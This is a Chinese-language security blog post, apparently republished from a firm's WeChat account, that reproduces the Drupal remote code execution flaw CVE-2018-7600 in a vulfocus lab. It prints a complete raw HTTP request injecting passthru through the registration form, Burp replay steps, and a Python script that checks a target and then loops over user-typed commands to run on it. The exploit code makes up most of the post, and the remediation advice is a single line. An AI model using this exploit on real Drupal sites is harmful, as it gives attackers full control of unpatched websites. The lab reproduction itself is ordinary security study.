*漏洞介绍:*
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成 该漏洞的产生的根本原因在于Drupal对表单的渲染上,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站
*漏洞影响版本:*
Drupal 6.x
Drupal 7.x
Drupal 8.x
*漏洞复现:*
1、首先打开vulfocus然后在首页搜索cve-2018-7600,打开靶场
2、构造poc
Poc2:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: ip:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.18.0.1:8080/user/register
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Length: 625
Connection: close
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"
passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"
markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"
whoami
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"
user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"
3、burp suite抓包-改包-重放
刷新页面抓到一个数据包,将此数据包发送到repeater
然后将原来的全部删除,直接复制粘贴构造好的poc,然后点击发送 send,即可看到所需要的flag
另外再附上一个自动化python脚本:
import requests
import re
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'}
class Poc:
def __init__(self,url):
self.url = url
self.cmd = 'echo H9_dawn'
self.postUrl = url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
self.status = 0
self.data = 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]='
def scan(self):
data = self.data + self.cmd
response = requests.post(self.postUrl,data=data,headers=headers)
if 'H9_dawn' in str(response.content) :
print("[+++] 恭喜您,存在CVE-2018-7600漏洞")
self.status = 1
else :
print("[---] 很遗憾,不存在CVE-2018-7600漏洞")
def rce(self):
data = self.data + self.cmd
response = requests.post(self.postUrl, data=data, headers=headers)
response = str(response.content)
res = re.compile('(.*?)[{"comman')
output = res.findall(response)[0][2:][:-2]
print(output)
if __name__ == '__main__':
logo = '''
__ __ ___
| | | | / _ ____
| |__| | | (_) | | _ __ ___ ___ __
| __ | __, | | | | |/ _` / / / '_
| | | | / / | |_| | (_| | V V /| | | |
|__| |__| /_/ ______ |____/ __,_| _/_/ |_| |_|
'''
print(logo)
#url请带上协议
url = 'http://xxx.xxx.xxx.xxx:43737/'
if url[-1] == '/':
url = url[:-1]
poc = Poc(url)
poc.scan()
if poc.status == 1:
while(1):
cmd = input("请输入您要执行的命令:")
poc.cmd = cmd
poc.rce()
只需修改代码中的url
执行命令
python ex.py
然后根据提示输入你要输入的命令
*修复建议:*
更新Drupal为最新版本
欢迎关注“天大天财”
关于天大天财
内蒙古天大天财信息技术有限责任公司,成立于1999年,是集网络安全服务、安全集成、计算机系统集成、公共安全技术防范系统设计|施工|维修为一体的综合性高科技信息公司
专注产生价值,天大天财致力于做内蒙古网络安全设计、实施、运维服务综合实力最强的本土品牌,我们潜心了解客户业务需求及痛点,注重提升与客户的粘合度,赢得了客户与市场的认可,享有很好的商誉;我们坚持以技术实施、服务为基础,注重技术团队的培养与提升,拥有一支技术过硬的服务团队,能够为全区客户提供及时的应急支援服务,同时,为了能够为客户做更优质更有水准的安全服务,我们成立了天大天财安全实验室,推出了自己的安全服务产品,收到客户的高度认可。
2018年被评为内蒙古网络安全行业协会理事长单位,获得内蒙古自治区科技型企业资质以及高新技术企业证书,涉密资质由原来的三项(集成、运维、安防)新增一项国家秘密载体印制资质证书.
安服团队连续三年参加省级攻防演练,并取得不错的成绩,在安全服务方面有全套网络安全解决方案。
服务能力图示:
服务热线:0471-2658551/552/553
地址:内蒙古自治区呼和浩特市赛罕区昭乌达路世纪六路鸿博大厦4层
原文始发于微信公众号(天大天财):Drupal 远程代码执行漏洞(CVE-2018-7600)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论